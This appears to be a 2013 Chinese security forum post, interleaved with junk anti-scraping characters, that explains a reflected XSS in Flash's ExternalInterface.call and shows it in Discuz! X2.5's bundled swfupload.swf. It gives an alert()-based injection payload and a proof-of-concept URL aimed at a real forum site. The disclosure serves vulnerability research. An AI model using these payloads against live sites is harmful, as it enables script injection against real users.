找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2119|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说5 @( ^+ r. |) O

& @1 ?* A; b0 @  n0 B& d7 Qflash.external.ExternalInterface.call($methodName, $parameter)
9 e0 _9 @. k$ U6 s在浏览器中执行的是3 `, o5 Y0 H6 r! G9 v5 o  a( B1 n

) M" u$ Y# W; ]4 dtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
0 I' b% u4 u# I% W0 F8 T对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
, z, u0 G3 L& V% ~, j* i$ W# K$ \1 F& e' |
flash.external.ExternalInterface.call("object."+$methodName, $parameter); c) R6 f% m$ A4 W
$methodName = a())}catch(e){alert(/xss/)}//: G; T  s- E0 ^" R2 J
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。; B5 ~( \! N  z9 z2 v

% z/ F8 }" p) Ptry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
. a) B$ J5 A; S
4 N, e# P8 B* F, [: X, h6 N3 ?! g! z5 F这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
4 A+ R' P' j, [杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
; G1 ?6 s) ~, L( S0 ]& ~" {( B( Q# |1 u$ ^! p1 B4 @
  k6 J" [/ g- w6 f5 l

) x, Z7 d9 l6 }& `漏洞文件:upload\static\image\common\swfupload.swf) ?1 e, ^" E! z1 k" ~- v' E% ]  ~

9 d- a" c& Z& P3 O6 {' |原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
+ G2 u# o7 D$ F, v" q
; r7 P) n3 n6 t9 f1 |) N; H7 w3 P6 R9 ^0 k0 }
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//. Z( z5 g7 o5 m. O, E8 O' [
/ ]4 |/ f1 b7 ~8 K

0 y0 f# Y& r/ i$ \- V& E" i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表